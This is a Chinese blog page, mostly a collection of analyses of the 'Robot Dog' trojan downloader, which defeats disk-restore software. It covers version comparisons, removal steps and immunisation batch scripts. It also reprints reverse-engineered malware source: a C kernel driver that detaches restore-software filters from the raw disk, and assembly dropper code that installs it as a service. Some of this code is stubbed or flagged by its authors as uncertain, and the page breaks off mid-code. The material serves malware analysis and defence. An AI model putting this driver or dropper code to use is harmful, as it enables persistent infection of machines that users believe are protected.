2009年4月3日星期五

最强大最便宜的后备电源

http://www.it.com.cn/f/notebook/064/3/253215.htm
http://blog.chinaunix.net/u/29311/showart_243501.html

有意思的东东

虽然现在用不上,不过,可以尝试着把车载电源改造一下,用笔记本这么大的屏幕,作为GPS和音乐播放,常备工具一类的,总之,放在车里,会非常有用的。

机器狗病毒分析

报告名称:新版"机器狗"病毒详细分析资料(全部资料的一少部分)
报告类型:病毒原理逆向反汇编分析播报
编写作者:Coderui
编写日期:2008年01月15日
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
------------------------------------------------------------------------
对比"机器狗"一类新、老版本病毒的特征:

1:新版本"机器狗"病毒采用VC++ 6.0编写,老版本"机器狗"病毒采用汇编编写。
2:新版本"机器狗"病毒采用UPX加壳,老版本"机器狗"病毒采用未知壳。
3:新版本"机器狗"病毒驱动文件很小(1,536 字节),老版本"机器狗"病毒驱动文件很大(6,768 字节)。
4:新版本"机器狗"病毒安装驱动后没有执行卸载删除操作,老版本"机器狗"病毒安装驱动工作完毕后会卸载删除。
5:新版本"机器狗"病毒针对的是系统"conime.exe"、"ctfmon.exe"和"explorer.exe"程序文件,老版本"机器狗"病毒只针对系统"userinit.exe"文件。
6:新版本"机器狗"病毒没有对注册表进行操作,老版本"机器狗"病毒有对注册表"HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows
NT\CurrentVersion\Winlogon"项进行操作(感觉该操作没必要,因为重新启动系统后,"还原保护程序"系统会将其还原掉)。
7:新版本"机器狗"病毒去到系统dllcache文件夹下调用真实系统文件运行,老版本"机器狗"病毒没有到系统dllcache文件夹下调用真实系统文件运行。
8:新版本"机器狗"病毒采用的是控制台程序图标,老版本"机器狗"病毒采用的是黑色机器小狗图案的图标。

大概列举出来了上边的几点,经过仔细分析它们的工作原理和编码风格后,可以推测出新版本"机器狗"病毒和老版本"机器狗"病毒决定不是出自一个人之手。
------------------------------------------------------------------------
错误纠正:

在此要纠正两个技术性的问题,网络上流传的一些关于分析"机器狗"病毒(新、老版本)的部分文章中,有两处表达错误的地方。

第一处是:在那些分析文章中所提到"'机器狗'病毒会破坏'还原保护程序'系统,使其还原功能失效"。其实,从概念的理解上来讲述,那些表达都是错误的,是让人理解不清晰的,会严重误导读者。正确的表述应该是这样的:"'机器狗'病毒并没有破坏'还原保护程序'系统,也没有使其还原功能失效。只是安装了一个病毒自己的磁盘过滤驱动去操作真实的磁盘I/O端口,向真实的磁盘中执行修改覆盖"C:\windows\explorer.exe"目标文件(文件名是病毒作者定义的,不固定、会变。但肯定的是,真实磁盘中是存在该文件的。并且病毒运行后,一般只会修改覆盖一个真实磁盘中的系统文件,再不会去破坏其它真实磁盘中的文件)操作。虽然'机器狗'病毒运行后下载了很多其它恶意程序并安装运行,但重新启动计算机后,这些都会被'还原保护程序'系统还原掉的,只是唯一那个被修改覆盖的真实磁盘文件没有被还原。如果发现重新启动计算机后,系统中依然有一大堆病毒在运行。其实,这些都是系统重新启动后,由那个被修改覆盖后的系统程序全部重新下载回来并安装运行的恶意程序。也就是说,每次重新启动计算机,都要重新下载安装一次所有的其它恶意程序"。

第二处是:在那些分析文章中所提到"'机器狗'病毒会替换系统中的正常程序'conime.exe'、'ctfmon.exe'、'explorer.exe'
或'userinit.exe'"或"'机器狗'病毒会感染系统中的正常程序'conime.exe'、'ctfmon.exe'、
'explorer.exe'或'userinit.exe'"。其实,从概念的理解上来讲述,那些表达都是错误的,是让人理解不清晰的,会严重误导读者。正确的表述应该是这样的:"'机器狗'病毒并不是替换了系统中的那些正常文件,而是针对那些正常文件在硬盘中所存放的真实物理地址进行以覆盖的方式去写入相应的恶意数据。大家可以找来正常的系统文件'explorer.exe'、被病毒修改覆盖后的系统文件'explorer.exe'和病毒释放出来的恶意程序'tmp281.tmp'。对比它们内部数据代码后会发现,被病毒修改后的系统文件'explorer.exe'的前部分数据代码和"病毒释放出来的恶意程序'tmp281.tmp'文件的数据代码是完全相同的,而后边的数据代码依然是正常系统文件'explorer.exe'后边的数据代码。"。

简单的概念解释:
替换:把原目标程序的数据代码全部清除掉,用新程序的数据代码来代替以前的整个程序。这样,替换后的程序只有新程序的功能。
感染:在不破坏原目标程序数据代码的前提下,向原目标程序的数据代码中追加上新程序的数据代码。这样,感染后的程序既有原目标程序的功能,又有新程序的功能。
覆盖:从原目标程序数据代码的文件头0地址处开始,向后依次执行覆盖写入新程序的数据代码操作,我们这里只假设原目标程序文件远远大于新程序。这样,覆盖后的程序只执行新程序的功能,虽然原目标程序的数据代码还存在一部分,但由于没有被调用,所以不会执行。
------------------------------------------------------------------------
总结:
上边所指的"还原保护程序"为利用磁盘过滤驱动技术编写而成的系统还原保护程序,出名一点的软件有"冰点还原精灵"和"影子系统"等。也就是说,就算用户计算机安装了上边这样的"还原保护程序",只要是中了"机器狗"一类利用穿"还原保护程序"技术的病毒,就算您重新启动计算机了,但被修改的那个文件
"explorer.exe"也是依然不会被还原的,因为病毒的恶意代码已经覆盖进了这个真实的磁盘文件中。

目前的"机器狗"一类利用穿"还原保护程序"技术的病毒有一个致命的软肋,那就是他们所覆盖的真实系统文件在重新启动计算机后一定要自启动运行,不然就失去病毒存在的意义了。现今的"机器狗"病毒都只是能够穿透磁盘保护的,并穿透不了注册表(无法在注册表中保存添加或修改后的数据信息),这个就是它最大的缺陷。其实,注册表数据信息也是以文件的形式保存在磁盘中的,下一代"机器狗"病毒可能会实现穿透注册表的功能,等那个时候,可能就很难防范了。这还是不算什么的,下下一代的"机器狗"病毒可能会利用自己的磁盘过滤驱动去感染真实硬盘下的PE文件,相当的恐怖啊!!

一旦感染了该版本的"机器狗"病毒,它不仅仅可以穿透"还原保护程序",真实系统也一样会中毒。因为病毒修改覆盖了真实的系统文件"C:\windows
\explorer.exe"。所以每次重新启动计算机后,被修改覆盖的系统程序"C:\windows\explorer.exe"它都会在被感染计算机的后台连接网络下载骇客事先定义好的下载列表中的全部恶意程序并自动调用运行。那么如果中该病毒的用户比较多,几万台计算机同时启动,骇客的下载服务器会挂掉吗?呵呵~!!
------------------------------------------------------------------------
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

问提:1、这个最新的机器狗变种,是否与你12月19日发的病毒播报中的机器狗变种是同一个病毒?
回答:不是同一个病毒,只是工作原理十分的相似而已。经过仔细分析它们的工作原理和编码风格后,可以推测出新版本"机器狗"病毒和老版本"机器狗"病毒决定不是出自一个人之手。

问提:2、这个最新的机器狗变种是否功能更强大?强大在那儿?与以往机器狗病毒的不同之处在哪?
回答:应该是相对的强大了些。对比"机器狗"一类新、老版本病毒的部分特征如下:
(1):新版本"机器狗"病毒采用VC++ 6.0编写,老版本"机器狗"病毒采用汇编编写。
(2):新版本"机器狗"病毒采用UPX加壳,老版本"机器狗"病毒采用未知壳。
(3):新版本"机器狗"病毒驱动文件很小(1,536 字节),老版本"机器狗"病毒驱动文件很大(6,768 字节)。
(4):新版本"机器狗"病毒安装驱动后没有执行卸载删除操作,老版本"机器狗"病毒安装驱动工作完毕后会卸载删除。
(5):新版本"机器狗"病毒针对的是系统"conime.exe"、"ctfmon.exe"和"explorer.exe"程序文件,老版本"机器狗"病毒只针对系统"userinit.exe"文件。
(6):新版本"机器狗"病毒没有对注册表进行操作,老版本"机器狗"病毒有对注册表"HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows
NT\CurrentVersion\Winlogon"项进行操作(感觉该操作没必要,因为重新启动系统后,"还原保护程序"系统会将其还原掉)。
(7):新版本"机器狗"病毒去到系统dllcache文件夹下调用真实系统文件运行,老版本"机器狗"病毒没有到系统dllcache文件夹下调用真实系统文件运行。
(8):新版本"机器狗"病毒采用的是控制台程序图标,老版本"机器狗"病毒采用的是黑色机器小狗图案的图标。

问提:3、机器狗病毒对网吧的影响很大,对个人用户的影响有多少?
回答:个人用户的影响与网吧的影响是同样大的。因为不管计算机系统是否安装"还原保护系统"程序,都会同样下载非常多的(目前是下载27个恶意程序)网络游戏盗号木马等恶意程序进行安装运行,从而给被感染计算机用户带去一定的损失。如果"用户计算机硬件配置比较低"或者"存在所下载的多个恶意程序中出现相互不兼容现象"的话,会导致用户计算机系统崩溃掉无法启动运行。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

手动杀毒方法:

1:结束掉被病毒修改覆盖后的"C:\windows\explorer.exe"程序进程,删除该程序文件。
2:也许系统会自动还原回来一个正常的"explorer.exe"桌面程序,如果没有还原的话,我们可以手动把"C:\windows\system32\dllcache\"下的"explorer.exe"文件拷贝到"C:\windows\"下。
3:手动卸载掉病毒恶意驱动程序"phy.sys"文件。可以在注册表中找到病毒恶意驱动程序"phy.sys"的启动关联位置然后删除,接着再删除掉"C:
\windows\system32\DRIVERS\phy.sys"文件。 我实际试过N次这种方法,针对该病毒决定好使。
4:重新启动计算机后,一切就都会变为正常了。但是该新版的"机器狗"病毒会下载27个(不固定)恶意程序到被感染计算机中安装运行,这些病毒可以安装江民公司的KV2008去查杀,效果很不错

/*
标 题: 【原创】"机器狗"病毒驱动部分逆向分析注释(C代码)
作 者: dream2fly(QQ:838468959)
时 间: 2008.03.13 于深圳科技园
链 接; http://www.dream2fly.net
版 本: 1.0

【软件名称】: 机器狗(病毒)
【下载地址】: http://www.dream2fly.net 或 自己搜索下载
【加壳方式】: 未知壳
【编写语言】: MASM
【使用工具】: IDA
【操作平台】: win2003
【软件介绍】: 穿透冰点型带驱动病毒
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

*/

#include <ntddk.h> // various NT definitions

#define IOCTL_MYDEV_BASE 0xF000
#define IOCTL_MYDEV_Fun_0xF01 CTL_CODE(IOCTL_MYDEV_BASE, 0xF01,
METHOD_BUFFERED, FILE_ANY_ACCESS)

#define DR0_DEVICE_NAME "\\Device\\Harddisk0\\DR0"
#define NT_DEVICE_NAME "\\Device\\PhysicalHardDisk0"
#define DOS_DEVICE_NAME "\\DosDevices\\PhysicalHardDisk0"

PDEVICE_OBJECT g_DR0_DeviceObject;
PDEVICE_OBJECT g_OldAttachedDeviceOfDR0;
VOID* g_ResData;
SIZE_T g_ResDataSize;

typedef struct _idtr
{
//定义中断描述符表的限制,长度两字节;
short IDTLimit;
//定义中断描述服表的基址,长度四字节;
unsigned int IDTBase;
}IDTR,*PIDTR;

typedef struct _idtentry
{
//中断执行代码偏移量的底16位;
unsigned short OffsetLow;
//选择器,也就是寄存器;
unsigned short Selector;
//保留位,始终为零;
unsigned char Reserved;
//IDT中的门的类型:包括中断门,陷阱门和任务门;
unsigned char Type:4;
//段标识位;
unsigned char SegmentFlag:1;
//中断门的权限等级,0表示内核级,3表示用户级;
unsigned char DPL:2;
//呈现标志位;
unsigned char Present:1;
//中断执行代码偏移量的高16位;
unsigned short OffsetHigh;
}IDTENTRY,*PIDTENTRY;

#define HOOKINTID_09 9 //NPX Segment Overrun
#define HOOKINTID_0E 0x0E //Page Fault

VOID CheckIdt()//用SIDT指令得到中断向量啊,然后修改中断向量入口地址
{
int INT_09_Address_High8;
int INT_0E_Address_High8;
unsigned long OldISR_09;
unsigned long OldISR_0E;

//保存IDT入口的基地址和限制信息的数据结构;
IDTR idtr;//store interrupt descript table register. to idtr

//记录IDT数组的指针,通过它可以查找到我们需要Hook中断号对应的中断门;
PIDTENTRY IdtEntry;

//汇编指令sidt,获取IDT入口信息;
__asm sidt idtr

//赋予IDT基地址值;
IdtEntry = (PIDTENTRY)idtr.IDTBase;

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用
OldISR_09 = ((unsigned int)IdtEntry[HOOKINTID_09].OffsetHigh << 16) |
(IdtEntry[HOOKINTID_09].OffsetLow);

INT_09_Address_High8 = OldISR_09&0x0FF000000;

/*
这两句汇编代码什么意思?eax相减应该总是0,那么 jz不总是跳转返回了???
有知道的大侠告诉我dream2fly(QQ:838468959)
sub eax, eax
jz short FunctionExit
难道是?
if (INT_09_Address_High8 == 0)
return;
*/

//保存中断号HOOKINTID对应中断门所指向的执行代码偏移量,以备执行中断处理或恢复时使用;
OldISR_0E = ((unsigned int)IdtEntry[HOOKINTID_0E].OffsetHigh << 16) |
(IdtEntry[HOOKINTID_0E].OffsetLow);

INT_0E_Address_High8 = OldISR_0E&0x0FF000000;

if (INT_09_Address_High8 != INT_0E_Address_High8)//检查0E是不是被HOOK
{
//关中断
__asm cli

IdtEntry[HOOKINTID_0E].OffsetHigh = 0;// 作者此处没关中断,难道不bosd?

//开中断
__asm sti
}
}

/*
通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
*/
VOID* SearchSelf()
{
VOID* pSelfImage = NULL;
VOID* pCurAddr = NULL;
VOID* pTmpAddr = NULL;

// loc_40045F:这个取当前地址用C怎么写?
//028 lea ebx, loc_40045F
//028 and ebx, 0FFFFFC00h

//pSelfImage如何取?

while(MmIsAddressValid(pSelfImage))
{
if ((unsigned long)pSelfImage <= 0x80000000)
return NULL;

if (RtlEqualMemory(pSelfImage, "MZ", 2))
{
pCurAddr = pSelfImage;
pTmpAddr = (VOID*)((unsigned long)pSelfImage+0x3C);
(unsigned long)pCurAddr += (unsigned long)(&pTmpAddr);

if (!MmIsAddressValid(pCurAddr))
return NULL;

if (RtlEqualMemory(pCurAddr, "PE", 2))
return pSelfImage;
}

(unsigned long)pSelfImage -= 0x400;//-1024K
}

return NULL;
}

SIZE_T ResLookupDataInDirectoryById(void* pSysBaseAddr, int id1, int
id2, CHAR* pResDatas)
{
// 有空再补上:)

return 0;
}
//
// Device driver routine declarations.
//

NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
);

NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
);

VOID
Unload(
IN PDRIVER_OBJECT DriverObject
);

NTSTATUS
DriverEntry(
IN OUT PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
CHAR* pResData = NULL;
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
UNICODE_STRING DeviceName;
VOID* pSelfImage;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;

CheckIdt();

pSelfImage = SearchSelf();
if (pSelfImage == NULL)
return -1;

g_ResDataSize = ResLookupDataInDirectoryById(pSelfImage, 1000, 1000, pResData);
if (g_ResDataSize == 0)
{
return -1;
}

g_ResData = ExAllocatePool(NonPagedPool, g_ResDataSize);
// 跳转到下条指令,延时 jmp short $+2

RtlCopyMemory(g_ResData, pResData, g_ResDataSize);

DriverObject->DriverUnload = Unload;
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = CommonDispatch;

// 为什么不用RtlInitUnicodeString( &ntUnicodeString, NT_DEVICE_NAME );代替
RtlInitAnsiString(&SourceString, NT_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DeviceName, &SourceString, TRUE);

RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

ntStatus = IoCreateDevice(
DriverObject, // Our Driver Object
0, // We don't use a device extension
&DeviceName,
FILE_DEVICE_NULL, // Device type
0, // Device characteristics //此处应该用FILE_DEVICE_SECURE_OPEN吧?
FALSE, // Not an exclusive device
&DeviceObject ); // Returned ptr to Device Object

if ( !NT_SUCCESS( ntStatus ) )
{
goto End;
}

ntStatus = IoCreateSymbolicLink( &SymbolicLinkName, &DeviceName );

if ( !NT_SUCCESS( ntStatus ) )
{
cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}

End:
RtlFreeUnicodeString(&DeviceName);
RtlFreeUnicodeString(&SymbolicLinkName);

return STATUS_SUCCESS;
}

VOID
Unload(
IN PDRIVER_OBJECT DriverObject
)
{
ANSI_STRING SourceString;
PDEVICE_OBJECT DeviceObject = NULL; // ptr to device object
UNICODE_STRING SymbolicLinkName;
PDEVICE_OBJECT cur_device_object;
PDEVICE_OBJECT next_device_object;

if (g_ResData)
{
ExFreePool(g_ResData);
}

if (DriverObject)
{
RtlInitAnsiString(&SourceString, DOS_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&SymbolicLinkName, &SourceString, TRUE);

IoDeleteSymbolicLink(&SymbolicLinkName);
RtlFreeUnicodeString(&SymbolicLinkName);

cur_device_object = DriverObject->DeviceObject;

while (cur_device_object)
{
next_device_object = DeviceObject->NextDevice;
IoDeleteDevice(cur_device_object);
cur_device_object = next_device_object;
}
}
}

NTSTATUS
CommonDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PDEVICE_OBJECT DRO_DeviceObject = NULL; // ptr to device object
PFILE_OBJECT DRO_FileObject;
ANSI_STRING SourceString;
UNICODE_STRING DRO_DeviceName;

PIO_STACK_LOCATION irpSp;// Pointer to current stack location
NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success
ULONG inBufLength; // Input buffer length
ULONG outBufLength; // Output buffer length

Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;

irpSp = IoGetCurrentIrpStackLocation( Irp );
inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength;
outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength;

if(!inBufLength || !outBufLength)
{
ntStatus = STATUS_INVALID_PARAMETER;
goto End;
}

switch ( irpSp->MajorFunction )
{
case IRP_MJ_CREATE:
RtlInitAnsiString(&SourceString, DR0_DEVICE_NAME);
RtlAnsiStringToUnicodeString(&DRO_DeviceName, &SourceString, TRUE);

IoGetDeviceObjectPointer(&DRO_DeviceName, 0x80,&DRO_FileObject,
&DRO_DeviceObject);
g_DR0_DeviceObject = DRO_FileObject->DeviceObject;

//保存DR0上的附加设备,然后断开附加,等IRP_MJ_CLOSE时恢复附加
if (DRO_FileObject->DeviceObject->AttachedDevice)
{
g_OldAttachedDeviceOfDR0 = DRO_FileObject->DeviceObject->AttachedDevice;
DRO_FileObject->DeviceObject->AttachedDevice= NULL;
}

ObDereferenceObject(DRO_FileObject);

RtlFreeUnicodeString(&DRO_DeviceName);

break;
case IRP_MJ_CLOSE:
if (g_DR0_DeviceObject)
{
if (g_OldAttachedDeviceOfDR0)
{
g_DR0_DeviceObject->AttachedDevice = g_OldAttachedDeviceOfDR0;
}
}

break;
case IRP_MJ_DEVICE_CONTROL:
if ( irpSp->Parameters.DeviceIoControl.IoControlCode == 0x0F0003C04)
{
if (outBufLength < g_ResDataSize)
goto End;

// 此处就是提取驱动里的资源解码返回给ap层,很简单,不再反汇编了,此处省略
// 唯一不理解的是既然是双缓冲应该用IRP.AssociatedIrp.SystemBuffer返回给ap才是
// 难道此时Irp->AssociatedIrp.SystemBuffer和Irp->UserBuffer地址相同??
RtlCopyMemory(Irp->UserBuffer, g_ResData, g_ResDataSize);

Irp->IoStatus.Information = g_ResDataSize;
}
else
{
ntStatus = STATUS_INVALID_DEVICE_REQUEST;
}

break;

default:

//
// The specified I/O control code is unrecognized by this driver.
//

ntStatus = STATUS_INVALID_DEVICE_REQUEST;
break;
}

End:
//
// Finish the I/O operation by simply completing the packet and returning
// the same status as in the packet itself.
//

Irp->IoStatus.Status = ntStatus;

IoCompleteRequest( Irp, IO_NO_INCREMENT );

return ntStatus;
}

机器狗的生前身后,曾经有很多人说有穿透还原卡、冰点的病毒,但是在各个论坛都没有样本证据,直到2007年8月29日终于有人在社区里贴出了一个样本。这个病毒没有名字,图标是SONY的机器狗阿宝,就像前辈熊猫烧香一样,大家给它起了个名字叫机器狗。
工作原理
机器狗本身会释放出一个pcihdd.sys到drivers目录,pcihdd.sys是一个底层硬盘驱动,提高自己的优先级接替还原卡或冰点的硬盘驱动,然后访问指定的网址,这些网址只要连接就会自动下载大量的病毒与恶意插件。然后修改接管启动管理器,最可怕的是,会通过内部网络传播,一台中招,能引发整个网络的电脑全部自动重启。
重点是,一个病毒,如果以hook方式入侵系统,接替硬盘驱动的方式效率太低了,而且毁坏还原的方式这也不是最好的,还有就是这种技术应用范围非常小,只有还原技术厂商范围内有传播,在这方面国际上也只有中国在用,所以,很可能就是行业内杠。
对于网吧而言,机器狗就是剑指网吧而来,针对所有的还原产品设计,可预见其破坏力很快会超过熊猫烧香。好在现在很多免疫补丁都以出现,发稿之日起,各大杀毒软件都以能查杀。
免疫补丁之争
现在的免疫补丁之数是疫苗形式,以无害的样本复制到drivers下,欺骗病毒以为本身以运行,起到阻止危害的目的。这种形式的问题是,有些用户为了自身安全会在机器上运行一些查毒程序(比如QQ医生之类)。这样疫苗就会被误认为是病毒,又要废很多口舌。
解决之道
最新的解决方案是将system32/drivers目录单独分配给一个用户,而不赋予administror修改的权限。虽然这样能解决,但以后安装驱动就是一件头疼的事了。
来彻底清除该病毒,处理后重启一下电脑就可以了,之前要打上补丁!
或者这样:
1注册表,组策略中禁止运行userinit.exe 进程
2 在启动项目中加入批处理
A : 强制结束userinit.exe进程 Taskkill /f /IM userinit.exe
(其中"/IM"参数后面为进程的图像名,这命令只对XP用户有效)
B : 强制删除userinit.exe文件 DEL /F /A /Q %SystemRoot%\system32\userinit.exe
C : 创建userinit.exe免疫文件到%SystemRoot%\system32\
命令:md %SystemRoot%\system32\userinit.exe >nul 2>nul
或者 md %SystemRoot%\system32\userinit.exe
attrib +s +r +h +a %SystemRoot%\system32\userinit.exe
D : reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
File Execution Options\userinit.exe" /v debugger /t reg_sz /d
debugfile.exe /f
userinit1.exe是正常文件改了名字,多加了一个1,你也可以自己修改,不过要手动修改这4个注册表,并导出,这个批处理才能正常使用。
最新动向
好像机器狗的开发以停止了,从样本放出到现在也没有新的版本被发现,这到让我们非常担心,因为虽着研究的深入,现在防御的手段都是针对病毒工作原理的,一但机器狗开始更新,稍加改变工作原理就能大面积逃脱普遍的防御手段,看来机器狗的爆发只是在等待,而不是大家可以高枕了。
目前网上流传一种叫做机器狗的病毒,此病毒采用hook系统的磁盘设备栈来达到穿透目的的,危害极大,可穿透目前技术条件下的任何软件硬件还原!基本无法靠还原抵挡。目前已知的所有还原产品,都无法防止这种病毒的穿透感染和传播。
机器狗是一个木马下载器,感染后会自动从网络上下载木马、病毒,危及用户帐号的安全。
机器狗运行后会释放一个名为PCIHDD.SYS的驱动文件,与原系统中还原软件驱动进行硬盘控制权的争夺,并通过替换userinit.exe文件,实现开机启动。
>> 那么如何识别是否已中毒呢?
是否中了机器狗的关键就在 Userinit.exe 文件,该文件在系统目录的 system32
文件夹中,点击右键查看属性,如果在属性窗口中看不到该文件的版本标签的话,说明已经中了机器狗。如果有版本标签则正常。
临时解决办法:
一是在路由上封IP:
ROS脚本,要的自己加上去
/ ip firewall filter
add chain=forward content=yu.8s7.net action=reject comment="DF6.0"
add chain=forward content=www.tomwg.com action=reject
二是在c:\windows\system32\drivers下建立免疫文件: pcihdd.sys ,
三是把他要修改的文件在做母盘的时候,就加壳并替换。
在%systemroot%\system32\drivers\目录下 建立个 明字 为 pcihdd.sys 的文件夹 设置属性为 任何人禁止
批处理
md %systemroot%\system32\drivers\pcihdd.sys
cacls %systemroot%\system32\drivers\pcihdd.sys /e /p everyone:n
cacls %systemroot%\system32\userinit.exe /e /p everyone:r
exit
目前,网络流行以下解决方法,或者可以在紧急情况下救急:
1、首先在系统system32下复制个无毒的userinit.exe,文件名为FUCKIGM.exe(文件名可以任意取),这就是下面批处理要指向执行的文件!也就是开机启动userinit.exe的替代品!而原来的userinit.exe保留!其实多复制份的目的只是为了多重保险!可能对防止以后变种起到一定的作用。
2、创建个文件名为userinit.bat的批处理(文件名也可任意取,但要和下面说到的注册表键值保持一致即可),内容如下:
start FUCKIGM.exe (呵呵,够简单吧?)
3、修改注册表键值,将userinit.exe改为userinit.bat。内容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"Userinit"="C:\\WINDOWS\\system32\\userinit.bat,"
就这3步,让这条狗再也凶不起来!这是在windows
2003测试的,双击机器狗后,没什么反应,对比批处理也是正常,即这狗根本没改动它!开关机游戏均无异常!但唯一美中不足的是,采用经典模式开机的启动时会出现个一闪而过的黑框!
如果嫌麻烦,也不要紧。上面三条批处理网友已搞好了,直接复制下面的这个存为批处理执行就OK了。三步合二为一
@echo off
:::直接复制系统system32下的无毒userinit.exe为FUCKIGM.exe
cd /d %SystemRoot%\system32
copy /y userinit.exe FUCKIGM.exe >nul
:::创建userinit.bat
echo @echo off >>userinit.bat
echo start FUCKIGM.exe >>userinit.bat
:::注册表操作
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
/v Userinit / t REG_SZ /d "C:\WINDOWS\system32\userinit.bat," /f >nul
:::删掉自身(提倡环保)
del /f /q %0
当然,如果实在不行,下载程序killigm。然后直接解压运行里面的程序:机器狗免疫补丁.bat 执行就可以了.
网上流传的另一种新的变种的防止方法 :
开始菜单运行.输入CMD
cd ……到drivers
md pcihdd.sys
cd pcihdd.sys
md 1...\
可防止最新变种。请注意:此法只能是防止,对于杀机器狗还得靠最新的杀毒程序才行。
针对该病毒,反病毒专家建议广大用户及时升级杀毒软件病毒库,补齐系统漏洞,上网时确保打开"网页监控"、"邮件监控"功能;禁用系统的自动播放功能,防止病毒从U盘、MP3、移动硬盘等移动存储设备进入到计算机;登录网游账号、网络银行账户时采用软键盘输入账号及密码

代码如下:

.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib

.data
Text db '对不起,驱动程序的加载没有成功,程序将无法运行.',0
FileName db '\\.\PhysicalHardDisk0',0
a_Physicaldrive db '\\.\PhysicalDrive0',0
aFCJ db '分配内存不成功',0
OutputString db '操作成功', 0
Dst db 10Ch dup(0)
hModule dd 0
ERR1 db '寻址文件不成功',0
ERR2 db '不支持的磁盘分区',0
ERR3 db '第一个分区不是启动分区',0
ERR4 db '该文件是压缩文件,不能操作',0
ERR5 db '获取文件原始信息失败',0
ERR6 db '打开文件失败',0
ERR7 db '加载驱动失败',0

.code

Src db '%SystemRoot%\system32\drivers\pcihdd.sys',0
ServiceName db 'PciHdd',0

;**********************************************************************************************
;退出服务,并删除文件
;**********************************************************************************************
QuitService proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL @FileName[100h]:byte

push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFail
mov hSCManager, eax

push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OpenServiceFail
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService

push hSCObject ; hService
call DeleteService

push hSCObject ; hSCObject
call CloseServiceHandle

OpenServiceFail: ; hSCObject
push hSCManager
call CloseServiceHandle

OpenSCManagerFail: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA

lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
QuitService endp

;**********************************************************************************************
;从资源中加载二进制内容写入文件,并将文件写入环境变量,然后启动服务,最后去掉环境变量,删除文件
;**********************************************************************************************
LoadServiceFromRes proc

LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL nNumberOfBytesToWrite
LOCAL lpBuffer
LOCAL hResInfo
LOCAL @FileName[110h]:byte
LOCAL hObject
LOCAL NumberOfBytesWritten

push 3E9h ; lpType
push 3E9h ; lpName
push hModule ; hModule
call FindResourceA
or eax, eax
jz failed

mov hResInfo, eax
push eax ; hResInfo
push hModule ; hModule
call SizeofResource
mov nNumberOfBytesToWrite, eax

push hResInfo ; hResInfo
push hModule ; hModule
call LoadResource
or eax, eax
jz failed

push eax ; hResData
call LockResource
or eax, eax
jz failed
mov lpBuffer, eax

failed:
or eax, eax
jnz CONTINUE
jmp Exit

CONTINUE: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA

push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, @FileName
push eax ; lpFileName
call CreateFileA
cmp eax, 0FFFFFFFFh
jnz short CREATEFILEOK
jmp Exit

CREATEFILEOK:
mov hObject, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hObject ; hFile
call WriteFile

push hObject ; hFile
call SetEndOfFile

push hObject ; hFile
call FlushFileBuffers
push hObject ; hObject
call CloseHandle

push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
